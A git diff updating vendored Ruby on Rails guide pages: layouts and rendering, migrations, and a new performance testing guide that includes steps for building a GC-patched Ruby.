Rails will render the _product_ruler partial (with no data passed in to it) between each pair of _product partials.

+

There’s also a shorthand syntax available for rendering collections. For example, if @products is a collection of products, you can render the collection this way:

+

index.html.erb:

<h1>Products</h1>
-<%= render :partial => @products %>
-
-

_product.html.erb:

+<%= render :partial => @products %> +

_product.html.erb:

-
<p>Product Name: <%= product.name %></p>
-
-

Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:

-

index.html.erb:

+
<p>Product Name: <%= product.name %></p>
+

Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:

+

index.html.erb:

<h1>Contacts</h1>
-<%= render :partial => [customer1, employee1, customer2, employee2] %>
-
-

_customer.html.erb:

+<%= render :partial => [customer1, employee1, customer2, employee2] %> +

_customer.html.erb:

-
<p>Name: <%= customer.name %></p>
-
-

_employee.html.erb:

+
<p>Name: <%= customer.name %></p>
+

_employee.html.erb:

-
<p>Name: <%= employee.name %></p>
-
-

In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.

+
<p>Name: <%= employee.name %></p>
+

In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.

+

3.5. Using Nested Layouts

+

You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here’s an example:

+

Suppose you have the follow ApplicationController layout:

+

app/views/layouts/application.erb

+
+
+
<html>
+<head>
+  <title><%= @page_title %><title>
+  <% stylesheet_tag 'layout' %>
+  <style type="text/css"><%= yield :stylesheets %></style>
+<head>
+<body>
+  <div id="top_menu">Top menu items here</div>
+  <div id="menu">Menu items here</div>
+  <div id="main"><%= yield %></div>
+</body>
+</html>
+

On pages generated by NewsController, you want to hide the top menu and add a right menu:

+

app/views/layouts/news.erb

+
+
+
<% content_for :stylesheets do %>
+  #top_menu {display: none}
+  #right_menu {float: right; background-color: yellow; color: black}
+<% end -%>
+<% content_for :main %>
+  <div id="right_menu">Right menu items here</div>
+  <%= yield %>
+  <% end -%>
+<% render :file => 'layouts/application' %>
+
+ + + +
+Note +In versions of Rails before Rails 2.3, you should use render 'layouts/applications' instead of render :file => 'layouts/applications\'
+
+

That’s it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.

+

There are several ways of getting similar results with differents sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the ActionView::render method via render 'layouts/news\' to base a new layout on the News layout.

4. Changelog

- -
    + +
      +
    • +

      +December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates +

      +
    • +
    • +

      +December 27, 2008: Information on new rendering defaults by Mike Gunderloy +

      +
    • November 9, 2008: Added partial collection counter by Mike Gunderloy @@ -1400,7 +1272,7 @@ September 28, 2008: First draft by Mike Gun

-
- + + diff --git a/vendor/rails/railties/doc/guides/html/migrations.html b/vendor/rails/railties/doc/guides/html/migrations.html index 8b580d80..0a8b85c7 100644 --- a/vendor/rails/railties/doc/guides/html/migrations.html +++ b/vendor/rails/railties/doc/guides/html/migrations.html @@ -1,288 +1,120 @@ - - Migrations - - - - - + + Migrations + + + + - +

As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.

3. Writing a Migration

-

Once you have created your migration using one of the generators it's time to get to work!

+

Once you have created your migration using one of the generators it’s time to get to work!

3.1. Creating a table

-

create_table will be one of your workhorses. A typical use would be

+

create_table will be one of your workhorses. A typical use would be

create_table :products do |t|
   t.string :name
-end
-
-

which creates a products table with a column called name (and as discussed below, an implicit id column).

-

The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like

+end
+

which creates a products table with a column called name (and as discussed below, an implicit id column).

+

The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like

create_table :products do |t|
   t.column :name, :string, :null => false
-end
-
-

the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the string, integer etc. methods create a column of that type. Subsequent parameters are identical.

+end +

the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the string, integer etc. methods create a column of that type. Subsequent parameters are identical.

create_table :products do |t|
   t.string :name, :null => false
-end
-
-

By default create_table will create a primary key called id. You can change the name of the primary key with the :primary_key option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass :id ⇒ false. If you need to pass database specific options you can place an sql fragment in the :options option. For example

+end +

By default create_table will create a primary key called id. You can change the name of the primary key with the :primary_key option (don’t forget to update the corresponding model) or if you don’t want a primary key at all (for example for a HABTM join table) you can pass :id => false. If you need to pass database specific options you can place an sql fragment in the :options option. For example

create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
   t.string :name, :null => false
-end
-
-

Will append ENGINE=BLACKHOLE to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").

-

The types Active Record supports are :primary_key, :string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean.

-

These will be mapped onto an appropriate underlying database type, for example with MySQL :string is mapped to VARCHAR(255). You can create columns of +end

+

Will append ENGINE=BLACKHOLE to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").

+

The types Active Record supports are :primary_key, :string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean.

+

These will be mapped onto an appropriate underlying database type, for example with MySQL :string is mapped to VARCHAR(255). You can create columns of types not supported by Active Record when using the non sexy syntax, for example

create_table :products do |t|
   t.column :name, 'polygon', :null => false
-end
-
-

This may however hinder portability to other databases.

+end +

This may however hinder portability to other databases.

3.2. Changing tables

-

create_table's close cousin is change_table. Used for changing existing tables, it is used in a similar fashion to create_table but the object yielded to the block knows more tricks. For example

+

create_table's close cousin is change_table. Used for changing existing tables, it is used in a similar fashion to create_table but the object yielded to the block knows more tricks. For example

t.string :part_number t.index :part_number t.rename :upccode, :upc_code -end -
-

removes the description column, creates a part_number column and adds an index on it. Finally it renames the upccode column. This is the same as doing

+end +

removes the description column, creates a part_number column and adds an index on it. Finally it renames the upccode column. This is the same as doing

remove_column :products, :name add_column :products, :part_number, :string add_index :products, :part_number -rename_column :products, :upccode, :upc_code -
-

You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example remove_column becomes just remove and add_index becomes just index.

+rename_column :products, :upccode, :upc_code +

You don’t have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example remove_column becomes just remove and add_index becomes just index.

3.3. Special helpers

-

Active Record provides some shortcuts for common functionality. It is for example very common to add both the created_at and updated_at columns and so there is a method that does exactly that:

+

Active Record provides some shortcuts for common functionality. It is for example very common to add both the created_at and updated_at columns and so there is a method that does exactly that:

create_table :products do |t|
   t.timestamps
-end
-
-

will create a new products table with those two columns whereas

+end +

will create a new products table with those two columns whereas

change_table :products do |t|
   t.timestamps
-end
-
-

adds those columns to an existing table.

-

The other helper is called references (also available as belongs_to). In its simplest form it just adds some readability

+end +

adds those columns to an existing table.

+

The other helper is called references (also available as belongs_to). In its simplest form it just adds some readability

create_table :products do |t|
   t.references :category
-end
-
-

will create a category_id column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the _id for you. If you have polymorphic belongs_to associations then references will add both of the columns required:

+end +

will create a category_id column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the _id for you. If you have polymorphic belongs_to associations then references will add both of the columns required:

create_table :products do |t|
   t.references :attachment, :polymorphic => {:default => 'Photo'}
-end
-
-

will add an attachment_id column and a string attachment_type column with a default value of Photo.

+end +

will add an attachment_id column and a string attachment_type column with a default value of Photo.

@@ -662,10 +476,10 @@ http://www.gnu.org/software/src-highlite --> The references helper does not actually create foreign key constraints for you. You will need to use execute for that or a plugin that adds foreign key support.
-

If the helpers provided by Active Record aren't enough you can use the execute function to execute arbitrary SQL.

-

For more details and examples of individual methods check the API documentation, in particular the documentation for ActiveRecord::ConnectionAdapters::SchemaStatements (which provides the methods available in the up and down methods), ActiveRecord::ConnectionAdapters::TableDefinition (which provides the methods available on the object yielded by create_table) and ActiveRecord::ConnectionAdapters::Table (which provides the methods available on the object yielded by change_table).

+

If the helpers provided by Active Record aren’t enough you can use the execute function to execute arbitrary SQL.

+

For more details and examples of individual methods check the API documentation, in particular the documentation for ActiveRecord::ConnectionAdapters::SchemaStatements (which provides the methods available in the up and down methods), ActiveRecord::ConnectionAdapters::TableDefinition (which provides the methods available on the object yielded by create_table) and ActiveRecord::ConnectionAdapters::Table (which provides the methods available on the object yielded by change_table).

3.4. Writing your down method

-

The down method of your migration should revert the transformations done by the up method. In other words the database should be unchanged if you do an up followed by a down. For example if you create a table in the up you should drop it in the down method. It is wise to do things in precisely the reverse order to in the up method. For example

+

The down method of your migration should revert the transformations done by the up method. In other words the database should be unchanged if you do an up followed by a down. For example if you create a table in the up you should drop it in the down method. It is wise to do things in precisely the reverse order to in the up method. For example

execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories" drop_table :products end -end -
-

Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your down method. If someone tries to revert your migration an error message will be -displayed saying that it can't be done.

+end +

Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can’t reverse the migration you can raise IrreversibleMigration from your down method. If someone tries to revert your migration an error message will be +displayed saying that it can’t be done.

4. Running Migrations

-

Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be db:migrate. In its most basic form it just runs the up method for all the migrations that have not yet been run. If there are no such migrations it exits.

-

If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run

+

Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be db:migrate. In its most basic form it just runs the up method for all the migrations that have not yet been run. If there are no such migrations it exits.

+

Note that running the db:migrate also invokes the db:schema:dump task, which will update your db/schema.rb file to match the structure of your database.

+

If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The +version is the numerical prefix on the migration’s filename. For example to migrate to version 20080906120000 run

rake db:migrate VERSION=20080906120000
-

If this is greater than the current version (i.e. it is migrating upwards) this will run the up method on all migrations up to and including 20080906120000, if migrating downwards this will run the down method on all the migrations down to, but not including, 20080906120000.

+

If this is greater than the current version (i.e. it is migrating upwards) this will run the up method on all migrations up to and including 20080906120000, if migrating downwards this will run the down method on all the migrations down to, but not including, 20080906120000.

4.1. Rolling back

-

A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run

+

A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run

rake db:rollback
-

This will run the down method from the latest migration. If you need to undo several migrations you can provide a STEP parameter:

+

This will run the down method from the latest migration. If you need to undo several migrations you can provide a STEP parameter:

rake db:rollback STEP=3
-

will run the down method from the last 3 migrations.

-

The db:migrate:redo task is a shortcut for doing a rollback and then migrating back up again. As with the db:rollback task you can use the STEP parameter if you need to go more than one version back, for example

+

will run the down method from the last 3 migrations.

+

The db:migrate:redo task is a shortcut for doing a rollback and then migrating back up again. As with the db:rollback task you can use the STEP parameter if you need to go more than one version back, for example

rake db:migrate:redo STEP=3
-

Neither of these Rake tasks do anything you could not do with db:migrate, they are simply more convenient since you do not need to explicitly specify the version to migrate to.

-

Lastly, the db:reset task will drop the database, recreate it and load the current schema into it.

+

Neither of these Rake tasks do anything you could not do with db:migrate, they are simply more convenient since you do not need to explicitly specify the version to migrate to.

+

Lastly, the db:reset task will drop the database, recreate it and load the current schema into it.

@@ -734,14 +548,14 @@ version is the numerical prefix on the migration's filename. For example to migr

4.2. Being Specific

-

If you need to run a specific migration up or down the db:migrate:up and db:migrate:down tasks will do that. Just specify the appropriate version and the corresponding migration will have its up or down method invoked, for example

+

If you need to run a specific migration up or down the db:migrate:up and db:migrate:down tasks will do that. Just specify the appropriate version and the corresponding migration will have its up or down method invoked, for example

rake db:migrate:up VERSION=20080906120000
-

will run the up method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example db:migrate:up VERSION=20080906120000 will do nothing if Active Record believes that 20080906120000 has already been run.

+

will run the up method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example db:migrate:up VERSION=20080906120000 will do nothing if Active Record believes that 20080906120000 has already been run.

4.3. Being talkative

-

By default migrations tell you exactly what they're doing and how long it took. +

By default migrations tell you exactly what they’re doing and how long it took. A migration creating a table and adding an index might produce output like this

@@ -752,8 +566,8 @@ A migration creating a table and adding an index might produce output like this< -> 0.0026s == 20080906170109 CreateProducts: migrated (0.0059s) ==========================
-

Several methods are provided that allow you to control all this:

-
    +

    Several methods are provided that allow you to control all this:

    +
    • suppress_messages suppresses any output generated by its block @@ -770,7 +584,7 @@ A migration creating a table and adding an index might produce output like this<

    -

    For example, this migration

    +

    For example, this migration

    def self.down drop_table :products end -end -
    -

    generates the following output

    +end
+

generates the following output

== 20080906170109 CreateProducts: migrating ===================================
@@ -810,13 +623,13 @@ http://www.gnu.org/software/src-highlite -->
    -> 250 rows
 == 20080906170109 CreateProducts: migrated (10.0097s) =========================
-

If you just want Active Record to shut up then running rake db:migrate VERBOSE=false will suppress any output.

+

If you just want Active Record to shut up then running rake db:migrate VERBOSE=false will suppress any output.

5. Using Models In Your Migrations

-

When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.

-

Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with rake db:migrate, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.

-

Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:

+

When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.

+

Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with rake db:migrate, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.

+

Frequently I just want to update rows in the database without writing out the SQL by hand: I’m not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:

def self.down ... end -end -
-

The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.

+end
+

The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.

5.1. Dealing with changing models

-

For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the reset_column_information method, for example

+

For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the reset_column_information method, for example

def self.down ... end -end -
+end

6. Schema dumping and you

6.1. What are schema files for?

-

Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either schema.rb or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.

-

There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.

-

For example, this is how the test database is created: the current development database is dumped (either to schema.rb or development.sql) and then loaded into the test database.

-

Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.

+

Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either schema.rb or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.

+

There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.

+

For example, this is how the test database is created: the current development database is dumped (either to schema.rb or development.sql) and then loaded into the test database.

+

Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model’s code and is frequently spread across several migrations but is all summed up in the schema file. The annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.

6.2. Types of schema dumps

-

There are two ways to dump the schema. This is set in config/environment.rb by the config.active_record.schema_format setting, which may be either :sql or :ruby.

-

If :ruby is selected then the schema is stored in db/schema.rb. If you look at this file you'll find that it looks an awful lot like one very big migration:

+

There are two ways to dump the schema. This is set in config/environment.rb by the config.active_record.schema_format setting, which may be either :sql or :ruby.

+

If :ruby is selected then the schema is stored in db/schema.rb. If you look at this file you’ll find that it looks an awful lot like one very big migration:

t.datetime "updated_at" t.string "part_number" end -end -
-

In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using create_table, add_index and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.

-

There is however a trade-off: schema.rb cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to :sql.

-

Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the db:structure:dump Rake task) into db/#{RAILS_ENV}_structure.sql. For example for PostgreSQL the pg_dump utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.

-

By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.

+end
+

In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using create_table, add_index and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.

+

There is however a trade-off: schema.rb cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to :sql.

+

Instead of using Active Record’s schema dumper the database’s structure will be dumped using a tool specific to that database (via the db:structure:dump Rake task) into db/#{RAILS_ENV}_structure.sql. For example for PostgreSQL the pg_dump utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.

+

By definition this will be a perfect copy of the database’s structure but this will usually prevent loading the schema into a database other than the one used to create it.

6.3. Schema dumps and source control

-

Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.

+

Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.

7. Active Record and Referential Integrity

-

The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.

-

Validations such as validates_uniqueness_of are one way in which models can enforce data integrity. The :dependent option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.

-

Although Active Record does not provide any tools for working directly with such features, the execute method can be used to execute arbitrary SQL. There are also a number of plugins such as redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in schema.rb).

+

The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.

+

Validations such as validates_uniqueness_of are one way in which models can enforce data integrity. The :dependent option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.

+

Although Active Record does not provide any tools for working directly with such features, the execute method can be used to execute arbitrary SQL. There are also a number of plugins such as redhillonrails which add foreign key support to Active Record (including support for dumping foreign keys in schema.rb).

8. Changelog

- -
-
- + + diff --git a/vendor/rails/railties/doc/guides/html/performance_testing.html b/vendor/rails/railties/doc/guides/html/performance_testing.html new file mode 100644 index 00000000..85807600 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/performance_testing.html @@ -0,0 +1,728 @@ + + + + + Performance Testing Rails Applications + + + + + + + + +
+ + + +
+

Performance Testing Rails Applications

+
+
+

This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:

+
    +
  • +

    +Understand the various types of benchmarking and profiling metrics +

    +
  • +
  • +

    +Generate performance and benchmarking tests +

    +
  • +
  • +

    +Use a GC-patched Ruby binary to measure memory usage and object allocation +

    +
  • +
  • +

    +Understand the benchmarking information provided by Rails inside the log files +

    +
  • +
  • +

    +Learn about various tools facilitating benchmarking and profiling +

    +
  • +
+

Performance testing is an integral part of the development cycle. It is very important that you don’t make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.

+
+
+

1. Performance Test Cases

+
+

Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application’s memory or speed problems are coming from, and get a more in-depth picture of those problems.

+

In a freshly generated Rails application, test/performance/browsing_test.rb contains an example of a performance test:

+
+
+
require 'test_helper'
+require 'performance_test_help'
+
+# Profiling results for each test method are written to tmp/performance.
+class BrowsingTest < ActionController::PerformanceTest
+  def test_homepage
+    get '/'
+  end
+end
+

This example is a simple performance test case for profiling a GET request to the application’s homepage.

+

1.1. Generating performance tests

+

Rails provides a generator called performance_test for creating new performance tests:

+
+
+
script/generate performance_test homepage
+

This generates homepage_test.rb in the test/performance directory:

+
+
+
require 'test_helper'
+require 'performance_test_help'
+
+class HomepageTest < ActionController::PerformanceTest
+  # Replace this with your real tests.
+  def test_homepage
+    get '/'
+  end
+end
+

1.2. Examples

+

Let’s assume your application has the following controller and model:

+
+
+
# routes.rb
+map.root :controller => 'home'
+map.resources :posts
+
+# home_controller.rb
+class HomeController < ApplicationController
+  def dashboard
+    @users = User.last_ten(:include => :avatars)
+    @posts = Post.all_today
+  end
+end
+
+# posts_controller.rb
+class PostsController < ApplicationController
+  def create
+    @post = Post.create(params[:post])
+    redirect_to(@post)
+  end
+end
+
+# post.rb
+class Post < ActiveRecord::Base
+  before_save :recalculate_costly_stats
+
+  def slow_method
+    # I fire gallzilion queries sleeping all around
+  end
+
+  private
+
+  def recalculate_costly_stats
+    # CPU heavy calculations
+  end
+end
+

1.2.1. Controller Example

+

Because performance tests are a special kind of integration test, you can use the get and post methods in them.

+

Here’s the performance test for HomeController#dashboard and PostsController#create:

+
+
+
require 'test_helper'
+require 'performance_test_help'
+
+class PostPerformanceTest < ActionController::PerformanceTest
+  def setup
+    # Application requires logged-in user
+    login_as(:lifo)
+  end
+
+  def test_homepage
+    get '/dashboard'
+  end
+
+  def test_creating_new_post
+    post '/posts', :post => { :body => 'lifo is fooling you' }
+  end
+end
+

You can find more details about the get and post methods in the Testing Rails Applications guide.

+

1.2.2. Model Example

+

Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.

+

Performance test for Post model:

+
+
+
require 'test_helper'
+require 'performance_test_help'
+
+class PostModelTest < ActionController::PerformanceTest
+  def test_creation
+    Post.create :body => 'still fooling you', :cost => '100'
+  end
+
+  def test_slow_method
+    # Using posts(:awesome) fixture
+    posts(:awesome).slow_method
+  end
+end
+

1.3. Modes

+

Performance tests can be run in two modes : Benchmarking and Profiling.

+

1.3.1. Benchmarking

+

Benchmarking helps find out how fast each performance test runs. Each test case is run 4 times in benchmarking mode.

+

To run performance tests in benchmarking mode:

+
+
+
$ rake test:benchmark
+

1.3.2. Profiling

+

Profiling helps you see the details of a performance test and provide an in-depth picture of the slow and memory hungry parts. Each test case is run 1 time in profiling mode.

+

To run performance tests in profiling mode:

+
+
+
$ rake test:profile
+

1.4. Metrics

+

Benchmarking and profiling run performance tests in various modes described below.

+

1.4.1. Wall Time

+

Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.

+

Mode : Benchmarking

+

1.4.2. Process Time

+

Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.

+

Mode : Profiling

+

1.4.3. Memory

+

Memory measures the amount of memory used for the performance test case.

+

Mode : Benchmarking, Profiling [Requires GC-Patched Ruby]

+

1.4.4. Objects

+

Objects measures the number of objects allocated for the performance test case.

+

Mode : Benchmarking, Profiling [Requires GC-Patched Ruby]

+

1.4.5. GC Runs

+

GC Runs measures the number of times GC was invoked for the performance test case.

+

Mode : Benchmarking [Requires GC-Patched Ruby]

+

1.4.6. GC Time

+

GC Time measures the amount of time spent in GC for the performance test case.

+

Mode : Benchmarking [Requires GC-Patched Ruby]

+

1.5. Understanding the output

+

Performance tests generate different outputs inside tmp/performance directory depending on their mode and metric.

+

1.5.1. Benchmarking

+

In benchmarking mode, performance tests generate two types of outputs :

+
Command line
+

This is the primary form of output in benchmarking mode. Example :

+
+
+
BrowsingTest#test_homepage (31 ms warmup)
+           wall_time: 6 ms
+              memory: 437.27 KB
+             objects: 5514
+             gc_runs: 0
+             gc_time: 19 ms
+
CSV files
+

Performance test results are also appended to .csv files inside tmp/performance. For example, running the default BrowsingTest#test_homepage will generate following five files :

+
    +
  • +

    +BrowsingTest#test_homepage_gc_runs.csv +

    +
  • +
  • +

    +BrowsingTest#test_homepage_gc_time.csv +

    +
  • +
  • +

    +BrowsingTest#test_homepage_memory.csv +

    +
  • +
  • +

    +BrowsingTest#test_homepage_objects.csv +

    +
  • +
  • +

    +BrowsingTest#test_homepage_wall_time.csv +

    +
  • +
+

As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.

+

Sample output of BrowsingTest#test_homepage_wall_time.csv:

+
+
+
measurement,created_at,app,rails,ruby,platform
+0.00738224999999992,2009-01-08T03:40:29Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00755874999999984,2009-01-08T03:46:18Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00762099999999993,2009-01-08T03:49:25Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00603075000000008,2009-01-08T04:03:29Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
+0.00619899999999995,2009-01-08T04:03:53Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
+0.00755449999999991,2009-01-08T04:04:55Z,,2.3.0.master.0744148,ruby-1.8.6.110,i686-darwin9.0.0
+0.00595999999999997,2009-01-08T04:05:06Z,,2.3.0.master.0744148,ruby-1.8.6.111,i686-darwin9.1.0
+0.00740450000000004,2009-01-09T03:54:47Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
+0.00603150000000008,2009-01-09T03:54:57Z,,2.3.0.master.859e150,ruby-1.8.6.111,i686-darwin9.1.0
+0.00771250000000012,2009-01-09T15:46:03Z,,2.3.0.master.859e150,ruby-1.8.6.110,i686-darwin9.0.0
+

1.5.2. Profiling

+

In profiling mode, you can choose from four types of output.

+
Command line
+

This is a very basic form of output in profiling mode:

+
+
+
BrowsingTest#test_homepage (58 ms warmup)
+        process_time: 63 ms
+              memory: 832.13 KB
+             objects: 7882
+
Flat
+

Flat output shows the total amount of time spent in each method. Check ruby prof documentation for a better explanation.

+
Graph
+

Graph output shows how long each method takes to run, which methods call it and which methods it calls. Check ruby prof documentation for a better explanation.

+
Tree
+

Tree output is profiling information in calltree format for use by kcachegrind and similar tools.

+

1.6. Tuning Test Runs

+

By default, each performance test is run 4 times in benchmarking mode and 1 time in profiling. However, test runs can easily be configured.

+
+ + + +
+Caution +Performance test configurability is not yet enabled in Rails. But it will be soon.
+
+

1.7. Performance Test Environment

+

Performance tests are run in the development environment. But running performance tests will set the following configuration parameters:

+
+
+
ActionController::Base.perform_caching = true
+ActiveSupport::Dependencies.mechanism = :require
+Rails.logger.level = ActiveSupport::BufferedLogger::INFO
+

As ActionController::Base.perform_caching is set to true, performance tests will behave much as they do in the production environment.

+

1.8. Installing GC-Patched Ruby

+

To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time and memory/object allocation.

+

The process is fairly straight forward. If you’ve never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:

+

1.8.1. Installation

+

Compile Ruby and apply this GC Patch:

+

1.8.2. Download and Extract

+
+
+
[lifo@null ~]$ mkdir rubygc
+[lifo@null ~]$ wget <download the latest stable ruby from ftp://ftp.ruby-lang.org/pub/ruby>
+[lifo@null ~]$ tar -xzvf <ruby-version.tar.gz>
+[lifo@null ~]$ cd <ruby-version>
+

1.8.3. Apply the patch

+
+
+
[lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
+

1.8.4. Configure and Install

+

The following will install ruby in your home directory’s /rubygc directory. Make sure to replace <homedir> with a full patch to your actual home directory.

+
+
+
[lifo@null ruby-version]$ ./configure --prefix=/<homedir>/rubygc
+[lifo@null ruby-version]$ make && make install
+

1.8.5. Prepare aliases

+

For convenience, add the following lines in your ~/.profile:

+
+
+
alias gcruby='~/rubygc/bin/ruby'
+alias gcrake='~/rubygc/bin/rake'
+alias gcgem='~/rubygc/bin/gem'
+alias gcirb='~/rubygc/bin/irb'
+alias gcrails='~/rubygc/bin/rails'
+
+

1.8.6. Install rubygems and dependency gems

+

Download Rubygems and install it from source. Rubygem’s README file should have necessary installation instructions.

+

Additionally, install the following gems :

+
    +
  • +

    +rake +

    +
  • +
  • +

    +rails +

    +
  • +
  • +

    +ruby-prof +

    +
  • +
  • +

    +rack +

    +
  • +
  • +

    +mysql +

    +
  • +
+

If installing mysql fails, you can try to install it manually:

+
+
+
[lifo@null mysql]$ gcruby extconf.rb --with-mysql-config
+[lifo@null mysql]$ make && make install
+

And you’re ready to go. Don’t forget to use gcruby and gcrake aliases when running the performance tests.

+
+

